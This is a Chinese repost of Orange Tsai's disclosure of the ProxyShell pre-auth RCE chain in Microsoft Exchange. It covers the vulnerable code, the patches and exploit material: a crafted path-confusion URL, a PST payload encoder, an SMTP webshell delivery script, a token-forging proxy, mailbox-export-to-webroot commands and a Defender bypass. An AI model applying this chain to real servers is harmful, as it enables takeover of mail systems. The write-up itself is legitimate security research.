猎洞高手Orange Tsai 亲自讲解 ProxyShell write-up

最新推荐文章于 2024-04-27 09:13:51 发布

奇安信代码卫士

最新推荐文章于 2024-04-27 09:13:51 发布

阅读量979

点赞数

原文链接：https://codesafe.qianxin.com/#/home

版权

聚焦源代码安全，网罗国内外最新资讯！

编译：代码卫士

2021年4月，DEVCORE 研究团队成员 Orange Tsai 在Pwn2Own温哥华大赛上演示了位于微软 Exchange 中的一个远程代码执行漏洞，为此获得20万美元的奖励。自此，他披露了多个其它 Exchange 漏洞并在最近的黑帽大会上展示了其中一些研究成果。目前，微软已修复这些漏洞，Orange 披露了这些漏洞write-up 并称之为 “ProxyShell”。全文如下：

大家好，我是 DEVCORE 研究团队的 Orange Tsai。我将在本文介绍我们在 Pwn2Own 2021 大会上展示的利用链。它是微软 Exchange Server 上的一个预认证远程代码执行漏洞，我们将其称为 ProxyShell。本文将提供这些漏洞的更多详情。关于架构以及我们所发现的新攻击面内容，可参考链接 (https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/)。

ProxyShell 由三个漏洞组成：

CVE-2021-34473：可导致 ACL 绕过的预认证路径混淆漏洞
CVE-2021-24523：在 Exchange PowerShell 后台的提权漏洞
CVE-2021-31207：可导致 RCE 的认证后任意文件写漏洞

未认证攻击者可利用 ProxyShell 漏洞通过被暴露的端口443在微软 Exchange Server 上执行任意命令。

CVE-2021-34473：预认证路径混淆

第一个漏洞类似于 ProxyLogon 中的 SSRF，当前端（被称为客户端访问服务或 CAS）在计算后端 URL 时，该漏洞也会出现。当客户端HTTP请求被归类为 Explicit Logon Request 时，Exchange 将规范化该请求 URL 并在将请求路由至后端前删除邮件箱地址。

Explicit Logon是Exchange 中的一个特殊功能，可使浏览器通过单个URL嵌入或展示某个特定用户的邮箱或日历。为实现该功能，这个URL必须是简单的而且包含要展示的邮箱地址。如：

https://exchange/OWA/user@orange.local/Default.aspx

我们研究发现，在某些句柄如 EwsAutodiscoverProxyRequestHandler 中，可通过查询字符串指定邮箱地址。由于 Exchange 并充分检查邮箱地址，我们可在 URL 规范化过程中通过查询字符串擦除部分URL，访问任意后端 URL。

HttpProxy/EwsAutodiscoverProxyRequestHandler.cs

protected override AnchorMailbox ResolveAnchorMailbox() { 
     
    if (this.skipTargetBackEndCalculation) { 
        base.Logger.Set(3, "OrgRelationship-Anonymous"); 
        return new AnonymousAnchorMailbox(this); 
    } 
 
    if (base.UseRoutingHintForAnchorMailbox) { 
        string text; 
        if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) { 
            text = base.ClientRequest.Params["Email"]; 
        } else if (RequestPathParser.IsAutodiscoverV2Version1Request(base.ClientRequest.Url.AbsolutePath)) { 
            int num = base.ClientRequest.Url.AbsolutePath.LastIndexOf('/'); 
            text = base.ClientRequest.Url.AbsolutePath.Substring(num + 1); 
        } else { 
            text = this.TryGetExplicitLogonNode(0); 
        } 
         
        string text2; 
        if (ExplicitLogonParser.TryGetNormalizedExplicitLogonAddress(text, ref text2) && SmtpAddress.IsValidSmtpAddress(text2)) 
        { 
            this.isExplicitLogonRequest = true; 
            this.explicitLogonAddress = text; 
             
            //... 
        } 
    } 
    return base.ResolveAnchorMailbox(); 
} 
 
protected override UriBuilder GetClientUrlForProxy() { 
    string absoluteUri = base.ClientRequest.Url.AbsoluteUri; 
    string uri = absoluteUri; 
    if (this.isExplicitLogonRequest && !RequestPathParser.IsAutodiscoverV2Request(base.ClientRequest.Url.AbsoluteUri)) 
    { 
        uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress); 
    } 
    return new UriBuilder(uri); 
}

从以上代码片段中可知，如果 URL 传递对 IsAutodiscoverV2PreviewRequest 的检查，则可通过查询字符串的Email 参数来指定 Explicit Logon 地址。由于该方法仅简单验证了 URL 的后缀，因此很容易指定该地址。

public static bool IsAutodiscoverV2PreviewRequest(string path) { 
ArgumentValidator.ThrowIfNull("path", path); 
return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase); 
} 
 
public static bool IsAutodiscoverV2Request(string path) { 
    ArgumentValidator.ThrowIfNull("path", path); 
    return RequestPathParser.IsAutodiscoverV2Version1Request(path) || RequestPathParser.IsAutodiscoverV2PreviewRequest(path); 
}

Explicit Logon 地址之后以参数的形式被传递给方法 RemoveExplicitLogonFromUrlAbsoluteUri，而该方法仅使用 Substring 擦除我们指定模式。

public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) { 
    ArgumentValidator.ThrowIfNull("absoluteUri", absoluteUri); 
    ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress); 
    string text = "/" + explicitLogonAddress; 
    int num = absoluteUri.IndexOf(text); 
    if (num != -1) { 
        return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length); 
    } 
    return absoluteUri; 
}

我们可设计如下 URL，滥用 Explicit Logon URL 的规范化进程：

https://exchange/autodiscover/autodiscover.json?@foo.com/?&          Email=autodiscover/autodiscover.json%3f@foo.com

这个有问题的 URL 规范化流程可使我们在以 Exchange Server 机器账户运行时访问任意后端URL。尽管该 bug 不如 ProxyLogon 中的 SSRF 那样强大，而且我们仅可操纵 URL 的路径部分，但它仍然足够强大到使我们以任意后端访问权限执行更多攻击。

CVE-2021-34523：Exchange PowerShell 后端提权漏洞

截至目前，我们能够访问任意后端URL。余下的就是利用后了。由于Exchange 执行了深入的 RBAC 防御措施（ /Autodiscover 中的 ProtocolType 不同于 /Ecp），ProxyLogon 中用于生成 ECP 会话而使用的低权限操作被禁止。因此，我们必须找到利用它的方法。在这里我们关注的是名为 “Exchange PowerShell Remoting” 的功能。

Exchange PowerShell Remoting 功能可使用户从命令行发送邮件、读取邮件、甚至更新配置。Exchange PowerShell Remoting 建立于 WS-Management 之上并未自动化执行无数的 Cmdlets。然而，认证和授权部分仍然基于原始的 CAS 架构。

应当注意的是，尽管我们可以访问 Exchange PowerShell 的后端，但仍然无法正确与之交互，因为并不存在User NT AUTHORITY\SYSTEM 的有效邮箱。我们也无法注入 X-CommonAccessToken 标头来伪造身份以冒充其它用户。

那我们能做什么？我们全面检查了 Exchange PowerShell 后端的实现，发现可利用一个有意思的代码通过URL指定用户身份。

Configuration\RemotePowershellBackendCmdletProxyModule.cs

private void OnAuthenticateRequest(object source, EventArgs args) { 
    HttpContext httpContext = HttpContext.Current; 
    if (httpContext.Request.IsAuthenticated) { 
        if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) { 
            Uri url = httpContext.Request.Url; 
            Exception ex = null; 
            CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext. 
                User.Identity.ToString(), url, out ex); 
        } 
    } 
} 
 
private static CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) { 
    ex = null; 
    CommonAccessToken result = null; 
    string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri(requestURI).Get("X-Rps-CAT"); 
    if (!string.IsNullOrWhiteSpace(text)) { 
        try { 
            result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text)); 
        } catch (Exception ex2) { 
            // handle exception here 
        } 
    } 
    return result; 
}

从代码片段可知，当 PowerShell 后端无法找到当前请求中的 X-CommonAccessToken 标头时，会试图反序列化并从查询字符串的 X-Rps-CAT 参数中恢复用户身份。该代码片段看似为内部 Exchange PowerShell 内部通信而设计。然而，由于我们能够直接访问该后端并在 X-Rps-CAT 中执行任意值，因此我们能够冒充任意用户。我们借此将自己从没有邮箱的系统账户“降级”至Exchange Admin。

现在，我们可以 Exchange Admin 身份执行任意 Exchange PowerShell 命令！

CVE-2021-31207：认证后任意文件写漏洞

该利用链的最后一步就是使用 Exchange PowerShell 命令找到认证后 RCE 技术。由于我们是管理员，可疑利用数百个命令，因此并不难办到。我们找到命令 New-MailboxExportRequest，将用户的邮箱导出到某个特定路径。

New-MailboxExportRequest -Mailbox orange@orange.local -FilePath
  \\127.0.0.1\C$\path\to\shell.aspx

该命令对我们很有用，因为我们可借此在任意路径创建文件。更好的是，被导出的文件是一个存储着用户邮件的邮箱，因此我们可通过 SMTP 交付恶意 payload。但唯一的问题是，邮件内容并未以明文格式存储，因为我们无法在导出的文件中找到 payload。

我们发现输出是 Outlook Personal Folders (PST) 格式。从微软的官方文档中可知，该 PST 仅使用简单的 Permutative Encoding (NDB_CRYPT_PERMUTE) 来编码我们的payload。因此我们可以在将其发出之前编码该 payload，而当该服务器试图保存并编码 payload 时，就会将其转为原始的恶意代码。

def encode(payload): 
    mpbbCryptFrom512 = [ 
        65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93, 
        30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136, 
        76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231, 
        35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251, 
        170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160, 
        143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191, 
        38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134, 
        126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205, 
        226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48, 
        77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129, 
        18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220, 
        144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135, 
        88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148, 
        243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103, 
        16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192, 
        162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61 
    ] 
 
    tmp = '' 
    for i in payload: 
        tmp += chr(mpbbCryptFrom512.index(ord(i))) 
 
    assert '\n' not in tmp and '\r' not in tmp 
    return tmp

Exploit

让我们把所有都链接在一起！

步骤1：恶意 payload 交付

首先，通过 SMTP 将已编码的 web shell 交付给目标邮箱。如目标邮件服务器不支持越权用户发送邮件，则也可使用 Gmail 从外部交付恶意 payload。

from_mail = 'attacker@exchange.local' 
to_mail   = 'orange@exchange.local' 
payload   = 'webshell code here...' 
 
msg = MIMEText(None, _subtype='plain') 
msg.set_payload('hi', 'utf-8') 
 
msg['Subject'] = 'exploit' 
msg['From'] = from_mail 
msg['To'] = to_mail 
msg['TEST'] = ('A'*16) + encode(payload) + ('A'*16) 
msg = msg.as_string().replace('\n', '\r\n') 
 
r = smtplib.SMTP('exchange.local', port=25) 
r.sendmail(from_mail, to_mail, msg)

步骤2：PowerShell 会话建立

由于 PowerShell 建立于 WinRM 协议基础之上，实现通用的 WinRM 客户端并不容易，因此我们使用代理服务器劫持 PowerShell 连接并修改该流量。首先，我们将 URL 重写到 EwsAutodiscoverProxyRequestHandler 的路径，触发该路径混淆 bug 并使我们访问 PowerShell 后端。之后我们将参数 X-Rps-CAT 插入查询字符串以冒充任意用户。这里，我们可指定 Exchange Admin 的 SID 成为管理员！

app = Flask(__name__) 
@app.route('/<path:path>', methods = ['POST', 'GET']) 
def index(path): 
    if request.method == 'GET': 
        return 'ok' 
 
    # check data 
    data = request.stream.read() 
    action = re.search(r'<a:Action s:mustUnderstand="true">(.+?)</a:Action>', data) 
    assert action, "WinRM action not found" 
 
    # modify headers 
    req_headers = {} 
    for k, v in request.headers.iteritems(): 
        if k == 'Host': 
            v = HOST 
        if k == 'Authorization': 
            continue 
        req_headers[k] = v 
 
    # create X-Rps-CAT token 
    token = b64encode(create_token(SID, LOGON_NAME)) 
     
    # rewrite to `autodiscover` and trigger the path confusion bug  
    r = exploit('/Powershell?X-Rps-CAT=' + token, headers=req_headers, data=data) 
 
    # make response 
    resp = Response(r.content, status=r.status_code) 
    for k, v in r.headers.iteritems(): 
        if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']: 
            continue 
        resp.headers[k] = v 
 
    return resp 
 
app.run(host="127.0.0.1", port=8000)

步骤3：恶意 PowerShell 命令执行

在所建立的 PowerShell 会话中，我们执行如下 PowerShell 命令：

1、New-ManagementRoleAssignment，获得 Mailbox Import Export 角色

2、New-MailboxExportRequest，将包含恶意 payload 的邮箱导出到 webroot，作为 web shell。

$uri = 'http://127.0.0.1:8000/PowerShell/' 
$username = 'whatever' # unimportant 
$password = 'whatever' # unimportant 
 
$secure = ConvertTo-SecureString $password -AsPlainText -Force 
$creds  = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $secure) 
$option = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck 
 
$params = @{ 
    ConfigurationName = "Microsoft.Exchange" 
    Authentication    = "Basic" 
    ConnectionUri     = $uri 
    Credential        = $creds 
    SessionOption     = $option 
    AllowRedirection  = $ture 
} 
$session = New-PSSession @params 
 
Invoke-Command -Session $session -ScriptBlock { 
    # PowerShell commands to execute... 
}

其它说明

自 ProxyLogon 漏洞后，Windows Defender 开始拦截 Exchange Server webroot 下的危险行为。为成功地在 Pwn2Own 大会上获得 shell，我们花了一点时间绕过 Defender。我们发现，如果我们直接调用 cmd.exe，则 Defender 会实施拦截。然而，如果首先将 cmd.exe 通过 Scripting.FileSystemObject 复制到 webroot 下的 <random>,exe并执行，则运行成功且Defender 不会有任何操作。

另外一处需要说明的是，如果组织机构使用 Exchange Server 集群，则有时候会发生 InvalidShellID 异常。造成这个问题的原因在于在处理加载均衡器时我们需要一点运气。这时候可尝试捕获异常并再次发送请求。

最后一步，shell 获取成功！

补丁

微软已在4月和5月修复所有的这三个漏洞，但在三个月之后才公布补丁并分配CVE编号。微软给出的理由是4月份发布的更新虽然解决了漏洞但遗漏了CVE编号。

至于 CVE-2021-31207，则微软并未修复任意文件写漏洞，但使用白名单将文件扩展限制为 .pst、.eml 或 .ost。

至于在4月修复但在7月发布 CVE 的漏洞，Exchange 目前会检查 IsAuthenticated 的值，确保所有前端请求在生成访问后端的 Kerberos 工单时经过验证。

结论

尽管四月的补丁缓解了该新型攻击面的认证部分，但CAS 仍然是安全研究员猎洞的好去处。实际上，我们在4月补丁后还发现了其它一些漏洞。总之，Exchange Server 是一个挖洞的宝藏去处。如我们之前所言，即使在2020年，仍然可在Exchange Server 中找到硬编码密钥。我可以向大家保证，未来微软将修复更多的 Exchange 漏洞。

对于系统管理员而言，由于它是一个架构问题，因此缓解攻击面不可能一劳永逸。管理员能做得就是持续更新 Exchange Server并限制其在互联网的外部暴露。至少，应该应用4月发布的累积更新，阻止大部分的这类预认证漏洞！

Black Hat USA 2021主议题介绍

微软：确实存在另一枚 print spooler 0day，目前尚未修复

微软8月补丁星期二值得关注的几个0day、几个严重漏洞及其它

奇安信代码安全实验室研究员入选“2021微软 MSRC 最具价值安全研究者”榜单

原文链接

https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

题图：Pixabay License

本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。

觉得不错，就点个 “在看” 或 "赞” 吧~

奇安信代码卫士

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
猎洞高手Orange Tsai 亲自讲解 ProxyShell write-up

聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士2021年4月，DEVCORE 研究团队成员 Orange Tsai 在Pwn2Own温哥华大赛上演示了位于微软 Exchange 中的...
复制链接

扫一扫